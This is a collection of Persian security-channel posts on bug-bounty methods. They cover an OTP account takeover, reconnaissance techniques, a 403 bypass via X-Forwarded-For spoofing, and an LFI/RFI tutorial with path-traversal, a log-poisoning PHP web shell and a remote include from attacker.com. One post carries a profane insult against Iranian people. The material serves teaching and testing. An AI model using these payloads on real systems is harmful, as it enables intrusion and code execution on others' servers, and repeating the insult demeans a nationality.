Web Application Security

رایتاپ Account Takeover با ترکیب Session Fixation و Response Manipulation = فلوی Login به این صورت بود که با OTP کار میکرد : 1. شماره رو وارد میکردی و یک OTP براش ارسال میشد. 2. همراه با OTP ارسالی توسط کاربر، یک AuthToken هم در Body ارسال میشد. 3. در صورت صحیح بودن، مقدار همون AuthToken در Response در AuthenticationToken قرار میگرفت. { "AuthenticationToken":"AuthToken Value is here", "is_Error":"0", "Message":"Success Message is here" } آسیب پذیری که اینجا داریم مفهومش مثل Session Fixation هست ولی روی Token ها. اگر قبل و بعد از لاگین Session کاربر تغییر نکند این آسیب پذیری وجود دارد. حالا فقط کافیه OTP دلخواه را برای قربانی در نظر بگیریم و Response Manipulation انجام بدیم. باید مقدار AuthenticationToken قربانی رو برابر با مقدار AuthToken مرحله 2 قرار بدیم و Message و is_Error هم که برای همه ی کاربرا ثابتن. #Account_Takeover #Session_Fixation #Response_Manipulation

تو چنل InfoSecTube میتونین به وبینار و دوره های رایگانی که قبلا برگذار شدن دسترسی داشته باشین. https://youtube.com/@infosectube?si=QGRBigqcGVV2-dPM

9️⃣ ASN Enumeration = بعد از جمع آوری IP های تارگت، با دستور whois زیر میتونیم ASN هر آیپی رو به دست بیاریم: whois -h whois.cymru.com 8.8.8.8 🔟 CIDR Enumeration = بعد از جمع آوری ASN ها، میتونیم با ابزار asnmap همه ی ASN هارو به CIDR تبدیل کنیم. 1️⃣1️⃣ IP Enumeration = میتونیم با انجام DNS Lookup روی همه ی Subdomain ها IP به دست بیاریم. اگر بخوایم خیلی رو این موضوع دیپ بشیم باید همه ی CIDR هارو به IP تبدیل کنیم که میتونیم با ابزار mapcidr اینکارو انجام بدیم. 1️⃣2️⃣ Cloud Enumeration = وب سایت http://kaeferjaeger.gay/?dir=sni-ip-ranges همه ی Range IP های Cloud های معروف مثل amazon و Microsoft رو اسکن میکنه و هر Subdomainی بهشون متصل باشه رو نمایش میده. میتونیم از این سرویس برای Subdomain Enumeration استفاده کنیم. 1️⃣3️⃣ Subdomain Enumeration via CSP response header = ممکنه سایر Subdomain های تارگت تو هدر CSP به عنوان Whitelist تعریف شده باشن. میتونیم CSP هدر هارو با ابزار httpx به دست بیاریم. 1️⃣4️⃣ Subdomain Enumeration via Cname record = ممکنه بعضی از Subdomain های تارگت به عنوان cname در سایر Subdomain ها تعریف شده باشند. با ابزار dnsx میتونیم همه ی cname های Subdomain های موجود رو به دست بیاریم. 1️⃣5️⃣ TLS Certificate Search = هر TLS Certificate میتونه مواردی مثل Common name داشته باشه که نشون میده این Certificate برای چه دامنه ای صادر شده. میتونیم با ابزار tlsx همه ی IPهایی که داریم رو اسکن کنیم و Subdomain های جدیدی از فیلد common name درون Certificate به دست بیاریم. 1️⃣6️⃣ Mail Server Enumeration = همه ی MX رکورد های Subdomain و Domain های تارگت رو به دست میاریم. میتونیم از dnsx برای اینکار استفاده کنیم. از Mail Server ها در تکنیک Reverse MX Lookup استفاده میکنیم. 1️⃣7️⃣ Name Server Enumeration = همه ی NS رکورد های Subdomain و Domain های تارگت رو به دست میاریم. میتونیم از dnsx برای اینکار استفاده کنیم. از name Server ها در تکنیک Reverse NS Lookup استفاده میکنیم. 1️⃣8️⃣ Service Enumeration = وقتی روی یک Port از یک IP سرویسی نصب شده باشد مثل Apache, FTP, Redis و...... باید این سرویس هارو شناسایی کنیم. برای روش Passive میتونیم از این قسمت shodan استفاده کنیم. برای Active Enumeration اگر هدف ما Web server یا Web service باشد که با پروتکل HTTP کار میکند میتونیم با httpx اینکارو انجام بدیم. در غیر این صورت برای شناسایی سایر سرویس هایی که HTTP نیستند از nmap استفاده میکنیم. ⚠ نکته : ⚠ 1) از ابزار cut-cdn برای فیلتر کردن CDN ها استفاده میکنیم. 2) وقتی روش های Reverse MX/NS Lookup به نتیجه میرسه که تارگت از Mail Server و Name Server های شخصی استفاده کرده باشه. 3) بعد از اتمام همه‌ی مراحل باید بررسی کنیم که دامنه های یافت شده متعلق به تارگت باشن. 4) این mind map باید به صورت بازگشتی کار کنه. برای مثال اگر تنها یک IP یا دامنه جدید به دست آمد، همه ی مراحل بالا دوباره باید تکرار شود. #information_gathering

External information Gathering = طبق این mind map میتونیم External Information Gathering رو انجام بدیم. اهداف :

1️⃣ Subdomain Enumeration 2️⃣ Domain Enumeration 3️⃣ IP Enumeration 4️⃣ ASN Enumeration 5️⃣ CIDR Enumeration 6️⃣ Name Server Enumeration 7️⃣ Mail Server Enumeration 8️⃣ Service Enumeration

معرفی تکنیک ها : 1️⃣ Passive enumeration VS active enumeration = جمع آوری اطلاعات به روش active یعنی خودمون با تارگت در تعامل باشیم. استفاده از این روش باعث log شدن IP ما روی تارگت میشه. استفاده غیر بهینه از این روش میتونه منجر به بلاک شدن IP ما بشه. در جمع آوری اطلاعات به روش passive از سرویس های واسط استفاده میکنیم و خودمون به صورت مستقیم با تارگت در ارتباط نیستیم. 2️⃣ Reverse DNS Lookup = به تبدیل IP به Hostname گفته میشود. برای تبدیل range IP به Hostname از ابزار hakrevdns استفاده میکنیم. 3️⃣ DNS Lookup = به فرایند تبدیل Hostname به IP گفته میشود. میتونیم با dnsx اینکارو انجام بدیم. 4️⃣ Reverse MX Lookup = یه تکنیک که میتونیم باهاش همه ی سرور هایی که از Mail server مشخصی استفاده میکنن رو پیدا کنیم. میتونیم با این وب سایت اینکارو انجام بدیم. 5️⃣ Reverse NS Lookup = یه تکنیک که میتونیم باهاش همه ی سرور هایی که از Name Server مشخصی استفاده میکنن رو پیدا کنیم. میتونیم با این وب سایت اینکارو انجام بدیم. 6️⃣ Reverse DMARC Lookup = یه تکنیک که میتونیم باهاش همه ی سرور هایی که از DMARC مشخصی استفاده میکنن رو پیدا کنیم. میتونیم با این وب سایت اینکارو انجام بدیم. 7️⃣ DNS Brute Force = یه روش active برای subdomain enumeration هست. از DNS resolution استفاده میکنه و هر subdomain که حداقل به یک IP مپ بشه رو بهمون نشون میده. مثلا برای subtest1.target.com یک درخواست DNS ارسال میکنه و اگه جوابی برگشت اونو به عنوان subdomain فعال در نظر میگیره. میتونیم از این ابزار برای DNS Brute Force استفاده کنیم. 8️⃣ Google Dork - Copyright = در پایین هر صفحه ی وب یک copyright مشخص شده است که به متعلق بودن به کمپانی خاصی اشاره دارد. مثل این مورد :

Copyright © 2025 Dell Inc.

با سرچ کردن این مورد در گوگل میتونیم سایر Subdomain و Domain هایی که از این copyright استفاده کردن رو به دست بیاریم. #information_gathering

https://x.com/matinnouryan/status/1908565726937374940?s=46 اگر امکانشو داشتین این توییت رو ریتوییت کنید🙏

در کنار تبریک سال نو و آرزوی موفقیت برای همه‌ی دوستان❤ نگاهی به سال گذشته میندازیم با رسم HTTP : POST /live HTTP/1.1 Host: iran.gov Action=success 403 Forbidden POST /live HTTP/1.1 Host: iran.gov X-Forwarded-For: 127.0.0.1 Action=success 301 Moved Permanently Location: /Fucking_iranian_people

سال نو همگی مبارک 🎉

اگه میخواین با استفاده از google dork بتونین subdomain enumeration انجام بدین به صورت ابزاری، یه الگوریتم پیشنهادی دارم براتون. اول اینکه میدونیم به صورت دستی چطور باید اینکارو انجام بدیم : site:*.microsoft.com -www و -www هم یعنی دیگه نشونش نده. حالا باید ببینین چند تب دیتا از تارگت شما تو گوگل هست. https://www.google.com/search?q=-www+site%3A*.microsoft.com&start=394 متغیر start رو باید روی بیشترین عددی که ساب دامنه میده بهتون تنظیم کنین. از صفحه ی اول که startاش با 1 شروع میشه شروع میکنین به بیرون کشیدن ساب دامنه ها طبق این الگو : 1. همه ی تگ های a رو بیرون میکشین از سورس کد. 2. همه ی href هارو از تگ های a بیرون میکشین. 3. اون مقدار هایی که شروعشون با http:// یا https:// نیست رو اسکیپ میکنین. 4. یه سری آدرس هارو ازش جدا میکنین که همیشه ثابتن مثل اینا https://www.google.com https://accounts.google.com 5. هرچی باقی مونده میشه ساب دامنه و باید ذخیره بشن داخل 2 تا فایل subdomains.txt و words.txt 6. فایل words.txt رو که حاوی اطلاعاتی مثل اینه : https://test.microsoft.com/path با یک تابع به test تبدیل میکنیم که فقط ساب دامنه رو داشته باشیم بدون دامنه و پروتکل و مسیر. 7. یه حلقه روی words.txt زده میشه و به هر ساب دامنه یدونه -+ اضافه میشه که نتیجه به صورت بشه : +-test+-web+-dev 8. حالا متغیر start باید 2 بشه و کنارش از مقدار های بالا استفاده میکنیم که دیگه این ساب دامنه هارو بهمون نشون نده. https://www.google.com/search?q=-www+site%3A*.microsoft.com+-test+-web+-dev&start=2 9. از مرحله 1 همه چی رو تکرار میکنیم. نکته : وقتی تعداد ساب دامنه های words.txt به 32 عدد رسید دیگه بهش چیزی اضافه نمیکنیم. چراکه گوگل اجازه نمیده بیشتر از 32 تا ساب دامنه رو فیلتر کنیم. پس با همون فیلتر 32 جلو میریم و هر موقع تو صفحه خروج ای نبود یعنی همه ی ساب دامنه هارو به دست آوردیم. متغیر start احتمال 99 درصد به 394 نمیرسه چون از فیلتر استفاده کردیم. 10. باید subdomains.txt رو sort کنین و مسیر ها و اطلاعات اضافه رو پاک کنین ازش. ابزاری که خودم برای اینکار نوشتم به عنوان یه ماژول داخل یه پروژه نسبتا بزرگه که وابستگی زیادی بهش داره و نمیتونم به صورت جداگانه سورسشو براتون بزارم. اگه کسی کدشو نوشت بهم بگه تو کانالم بزارم بقیه هم استفاده کنن. #google_dork

https://www.linkedin.com/posts/apa-sharif_%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-dependency-confusion-%DB%8C%DA%A9%DB%8C-%D8%A7%D8%B2-activity-7305228835472510977-D0Rh/?utm_source=share&utm_medium=member_android&rcm=ACoAAEjwrLkBPVC7_jdwsdv8l6dfM5yoGRUEMm8 #dependency_confusion

اگه تارگت شما اینجا هست میتونین از IP هایی که معرفی کرده برای بایپس استفاده کنین، برای خودم چند نمونه بوده که با این ریپو تونستم بایپس کنم.

403 Bypass Tips = یکی از معمول ترین روش ها استفاده از IP Spoofing هست به این صورت :

X-Forwarded-For: 127.0.0.1

حتی اگر بتونیم IP Spoofing انجام بدیم ممکنه 127.0.0.1 authorize نباشه، اما Public IPهای شرکت authorize باشن. پس حتما از IP های خود شرکت هم برای این موضوع استفاده کنید. #bypass_waf

https://exploit-notes.hdks.org/ #resource

الگوریتم رمزنگاری متقارن 3DES با توجه به نقاط ضعف الگوریتم DES و اینکه تقویت بشه این الگوریتم 3DES معرفی شد الگوریتم 3DES بر مبنای الگوریتم DES طراحی شده است وجه تمایز الگوریتم 3DES در اجرای سه مرحله ای اون هست این الگوریتم از سه کلید مجزا برای رمزنگاری استفاده میکنه فرایند های رمزنگاری و رمزگشایی در این روش به روش زیر می باشد فرایند رمزنگاری: O=Ek3(Dk2(Ek1(I)))

1- متن مورد نظر بوسیله الگوریتم DES و کلید k1 رمزنگاری میشه 2 - خروجی مرحله اول توسط کلید k2 رمزگشایی میشه 3 - خروجی مرحله دوم توسط کلید k3 مجددا رمزنگاری میشه

فرایند رمزگشایی: I=Dk1(Ek2(Dk3(O)))

1 - متن رمزشده توسط کلید k3 رمزگشایی میشه 2 - خروجی مرحله اول توسط کلید k2 رمزنگاری میشه 3 - خروجی مرحله دوم توسط کلید k1 رمزنگاری میشه خروجی مرحله سوم به عنوان متن اولیه قابل استفاده میشه با کمی بررسی میبینیم که فرایند رمزگشایی قرینه فرایند رمزنگاری هست

مستند FIPS46-3 ترکیب پیشنهادی زیر رو برای انتخاب کلیدهای K1, K2, K3 ارائه میده

1 - K1, K2, K3 مستقل از همدیگر انتخاب میشن 2 - K1, K2 بطور مستقل از هم انتخاب شده و K1=K3 هست 3- K1=K2=K3

4⃣ توضیح کامل آسیب پذیری LFI = شبه کد آسیب پذیر با PHP به LFI 👇

include($_GET['file']);

وقتی کد بالا استفاده بشه، با URL زیر میتونیم بهش مقدار بدیم :

http://target.com/index.php?file=news.php

در URL بالا فایل news.php داخل فایل index.php فراخوانی شده است. برای بهتره برداری ازش در مرحله اول باید سعی کنیم فایل passwd را بخوانیم.

http://target.com/index.php?file=../../../../../../../etc/passwd

5⃣ استفاده از Wrapper ها = در LFI میتونیم از wrapper ها هم استفاده کنیم. از Wrapper زیر برای خوندن فایل استفاده میشه که میتونیم باهاش کد های وب سایت رو بخونیم.

php://filter/convert.base64-encode/Resource=index.php

خروجی به صورت base64 هست و باید decode بشه. 6⃣ تبدیل LFI به RCE = روش های مختلفی برای تبدیل LFI به RCE وجود دارد مثل : 1) Expect Wrapper 2) Input Wrapper 3) Log Poisoning 4) phpinfo in php 5) Chain LFI & SQLi 6) PHP Session 7) Chain LFI & RFU 1⃣⏺6⃣ تکنیک Log Poisoning : بعد از پیدا کردن LFI، باید دنبال یک فایلی در سرور باشیم که دیتایی از سمت کاربر ذخیره میشه داخلش. باید دسترسی خوندن اون فایل رو داشته باشیم. میتونیم موارد زیر رو بررسی کنیم : 1) Apache/Nginx Log file 2) FTP Log file 3) SSH Log file 4) SMTP Log file 5) SFTP Log file مثلا تو log file های مربوط به وب سرور خیلی وقتا user-agent هم لاگ میشه.(قبلش باید فایل Log رو با LFI بخونیم و مطمئن بشیم از این مورد). تنها کاری که باید انجام بدیم inject کردن پیلود مخرب به عنوان user agent هست.

GET /test HTTP/1.1
..
..
..
User-Agent: <?php system($_GET['cmd'])  ?>

و این اطلاعات در لاگ فایل مربوط به Apache ذخیره میشه. حالا باید از طریق LFI اون فایل رو فراخوانی کنیم و پارامتر cmd رو مقدار دهی کنیم.

http://target.com/index.php?file=../../../../../var/apache2/access.log&cmd=whoami

و RCE گرفته میشه. برای مابقی سرویس هاهم Log poisoning به این صورت انجام میشه با این تفاوت که اونجا user agent نداریم و چیز دیگه ای از کاربر Log میشه مثل یوزرنیم. 7⃣ آسیب پذیری RFI = تو آسیب پذیری LFI همه فایل هایی که فراخوانی میکردیم Local بودن. تو آسیب پذیری RFI فایل های Remote هم فراخوانی میکنیم. فرضا یک فایل در سرور خودمون قرار میدیم با اکستنشن txt. و به عنوان ورودی به تارگت میدیم.

http://target.com/index.php.php?file=http://attacker.com/RFI.txt

اما حالت پیشفرض این آسیب پذیری وجود نداره حتی اگه LFI وجود داشته باشه، باید کانفیگ های مربوط به دو مورد زیر به صورت دستی توسط برنامه نویس تغییر داده بشه تا قابلیت فراخوانی فایل به صورت remote فعال بشه.

allow_url_include
allow_url_fopen

وقتی آسیب پذیری RFI داریم قطعا LFI هم داریم. اما وقتی LFI هست تا وقتی دو تابع بالا فعال نباشن آسیب پذیری RFI وجود نخواهد داشت. 1⃣⏺7⃣ آیا اگر بتونیم یک فایل remote روی وب سایت لود کنیم RFI داریم همیشه❓ خیر. علاوه بر فراخوانی به صورت remote باید تابع آسیب پذیر قابلیت اجرایی داشته باشه تا بتونیم کد سمت backend اجرا کنیم‌ (همون خاصیت LFI) . در غیر این صورت فقط میتونیم یک فایل JS. به صورت remote لود کنیم و به XSS برسیم. #LFI #RFI #Path_traversal #Directory_traversal

1⃣ آسیب پذیری LFI = وقتی ورودی کاربر به عنوان یک فایل فراخوانی میشه داخل صفحه فعلی آسیب پذیری LFI به وجود میاد. 2⃣ آسیب پذیری path/Directory traversal = مثل آسیب پذیری LFI وقتی به وجود میاد که کاربر بتونه بین فایل و دایرکتوری های مختلف حرکت کنه. 3⃣ پس LFI همون path/Directory traversal هست❓ در صورتی که خیلی از منابع معتبر این دوتا رو یکی میدونن، این دوتا آسیب پذیری های متفاوتی هستند. در path/Directory traversal فقط میتونیم بین فایل ها و دایرکتوری های مختلف حرکت کنیم. اما در LFI علاوه بر مورد قبلی، تابع آسیب پذیر قابلیت اجرایی دارد. فرضا اگر فایلی حاوی تکه کد مخرب که با زبان برنامه نویسی سمت backend نوشته شده به عنوان ورودی به تابع آسیب پذیر داده شود اون کد اجرا خواهد شد. به این تکنیک تو LFI میگن log poisoning.

لایو هانت رو حتما شرکت کنین

API Fuzzing Tips = معمولا تو REST API ها تو URL ورژن رو هم نشون میده به این صورت /API/v3/action یکی از تست کیس هایی که وجود داره اینه که باید ورژن API رو کم کنیم چون ممکنه هنوز فعال باشه و آسیب پذیری داشته باشه در صورتی که API فعلی امنه‌. اگه v2 و v1 رو امتحان کردین وجود نداشت، به این صورت تست کنین: /API/v1.0/action /API/v2.0/action #API_fuzzing

رایتاپ آسیب پذیری ده هزار دلاری؛ با تحلیل JS! هم اکنون این ویدئو رو میتونید در چنل یوتیوب PentesterLand مشاهده کنید🔥 زمانی که کدهای جی‌اس به داد یک هانتر میرسند... منتظر نظرات شما هستیم😁 لینک ویدئو: https://youtu.be/ajEYcOUD3D8?si=2KSIG0pLvbeTYmLe چنل یوتیوب: PentesterLand #باگ_بانتی